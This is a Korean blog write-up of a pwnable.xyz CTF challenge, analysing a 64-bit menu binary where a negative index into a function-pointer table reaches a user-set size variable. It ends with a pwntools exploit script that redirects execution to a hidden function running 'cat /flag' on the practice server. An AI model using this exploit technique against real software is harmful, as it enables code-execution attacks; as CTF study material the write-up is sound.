Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

malloc 으로 메모리를 할당하고 read로 입력을 하고 write로 출력을 하고 free로 메모리를 해제하는걸 원하는 것 같은 실행파일이다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // [rsp+Ch] [rbp-4h]

  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 )
      (*(&vtable + v3))();
    else
      puts("Invalid.");
  }
}

 

main은 아주 간단하다. menu를 출력해주고 메뉴 인덱스를 입력받는데 vtable을 통해 함수들을 호출해주고 있다.

 

 

vtable에는 메뉴 인덱스 순서대로 exit, malloc, free, read, write함수의 주소가 적혀있다.

do_malloc함수부터 확인해보자.

 

[do_malloc]

void *do_malloc()
{
  unsigned __int64 v0; // rax
  void *result; // rax

  printf("Size: ");
  v0 = read_long();
  size = v0;
  result = malloc(v0);
  if ( result )
    heap_buffer = result;
  else
    heap_buffer = (void *)1;
  return result;
}

 

size를 입력받아서 해당 값만큼 malloc으로 공간을 heap_buffer에 할당해준다. 만약 malloc이 실패하면 heap_buffer에 1을 넣어준다.

 

 

heap_buffer는 vtable 8byte위에 존재한다.

do_free함수도 확인해보자.

 

[do_free]

void do_free()
{
  if ( heap_buffer == (void *)1 )
  {
    puts("Not allocated.");
  }
  else
  {
    free(heap_buffer);
    heap_buffer = (void *)1;
  }
}

 

heap_buffer를 free해주고 heap_buffer에 1을 넣어준다.

 

[do_read]

int do_read()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = read(0, heap_buffer, size);
  return result;
}

 

do_read 함수는 heap_buffer에 아까 입력받은 size만큼 read를 해준다.

 

[do_wirte]

int do_write()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = write(1, heap_buffer, size);
  return result;
}

 

마지막으로 do_write는 heap_buffer에 있는 값을 size만큼 출력해준다.

그리고

int _()
{
  return system("cat /flag");
}

이렇게 "cat /flag"를 해주는 함수도 존재한다. 이번에는 특이하게 이름이 win이 아니라 _이다.. 나름 숨기려고 이렇게 해놓은건가..?

 

메뉴 인덱스를 입력받는 read_long함수도 보자.

unsigned __int64 read_long()
{
  char s[40]; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, 0x20uLL);
  s[(signed int)((unsigned __int64)read(0, s, 0x20uLL) - 1)] = 0;
  return strtoul(s, 0LL, 0);
}

 

stroul함수를 사용하여 입력값을 return하는데 stroul함수는 문자열을 unsigned long형으로 변환해주는 함수이다.

만약 메뉴 인덱스에 -1을 입력하면 vtable[-1]에 접근하여 heap_buffer부분을 호출하고 -2를 입력하면 vtable[-2]를 호출할 것이다.

 

vtable[-2]에는 size가 존재한다. 그러면 do_malloc에서 size를 입력할 때 "_" 함수의 주소를 입력하고 vtable[-2]를 실행시키면 "cat /flag"가 실행될 것이다.

엄청 간단한 문제이다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30007)

win = 0x400a31

r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(int(win)))
r.sendlineafter("> ", "-2")

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

+ Recent posts